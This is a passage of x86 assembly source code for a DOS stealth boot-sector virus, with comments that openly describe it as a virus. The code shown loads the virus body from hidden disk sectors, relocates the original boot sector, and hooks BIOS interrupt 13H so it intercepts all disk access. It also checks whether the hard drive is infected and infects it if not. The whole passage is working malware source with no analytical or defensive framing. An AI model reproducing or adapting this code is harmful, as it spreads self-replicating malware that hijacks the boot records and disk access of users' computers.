jz LOAD_360
cmp al,1
jz LOAD_12M
cmp al,2
jz LOAD_720
cmp al,3
jz LOAD_14M ;if none of the above,
;then it's a hard disk
LOAD_HARD: ;load virus from hard disk
mov dx,80H ;hard drive 80H, head 0,
mov ch,0 ;track 0,
mov cl,2 ;start at sector 2
jmp SHORT LOAD1
LOAD_360: ;load virus from 360 K floppy
mov ch,39 ;track 39
mov cl,4 ;start at sector 4
jmp SHORT LOAD
LOAD_12M: ;load virus from 1.2 Meg floppy
mov ch,79 ;track 80
mov cl,10 ;start at sector 10
jmp SHORT LOAD
LOAD_720: ;load virus from 720K floppy
mov ch,79 ;track 79
mov cl,4 ;start at sector 4
jmp SHORT LOAD ;go do it
LOAD_14M: ;load from 1.44 Meg floppy
mov ch,79 ;track 79
mov cl,13 ;start at sector 13
; jmp SHORT LOAD ;go do it
LOAD: mov dx,100H ;disk 0, head 1
LOAD1: mov ax,206H ;read 6 sectors
int 13H ;call BIOS to read it
jc LOAD1 ;try again if it fails
MOVE_OLD_BS:
xor ax,ax ;now move old boot sector into
mov es,ax ;low memory
mov si,OFFSET SCRATCHBUF ;at 0000:7C00
mov di,OFFSET BOOT_START
mov cx,256
rep movsw
SET_SEGMENTS: ;change segments around a bit
cli
mov ax,cs
mov ss,ax
mov sp,OFFSET STEALTH ;set up the stack for the virus
push cs ;and also the es register
pop es
INSTALL_INT13H: ;now hook the Disk BIOS int
xor ax,ax
mov ds,ax
mov si,13H*4 ;save the old int 13H vector
mov di,OFFSET OLD_13H
movsw
movsw
mov ax,OFFSET INT_13H ;and set up new interrupt 13H
mov bx,13H*4 ;which everybody will have to
mov ds:[bx],ax ;use from now on
mov ax,es
mov ds:[bx+2],ax
sti
CHECK_DRIVE:
push cs ;set ds to point here now
pop ds
cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,
jz DONE ;nothing else needed at boot
FLOPPY_DISK: ;if loading from a floppy drive,
call IS_HARD_THERE ;see if a hard disk exists here
jz DONE ;no hard disk, all done booting
mov al,80H ;else load boot sector from C:
call GET_BOOT_SEC ;into SCRATCHBUF
call IS_VBS ;and see if C: is infected
jz DONE ;yes, all done booting
call INFECT_HARD ;else go infect hard drive C:
DONE:
mov si,OFFSET PART ;clean partition data out of
mov di,OFFSET PART+1 ;memory image of boot sector
mov cx,3FH ;so it doesn't get spread to
mov BYTE PTR [si],0 ;floppies when we infect them
rep movsb
xor ax,ax ;now go execute old boot sector
push ax ;at 0000:7C00
mov ax,OFFSET BOOT_START
push ax
retf
ORG 7DBEH
PART: DB 40H dup (?) ;partition table goes here
ORG 7DFEH
DB 55H,0AAH ;boot sector ID goes here
ENDCODE: ;label for the end of boot sec
COMSEG ENDS
END START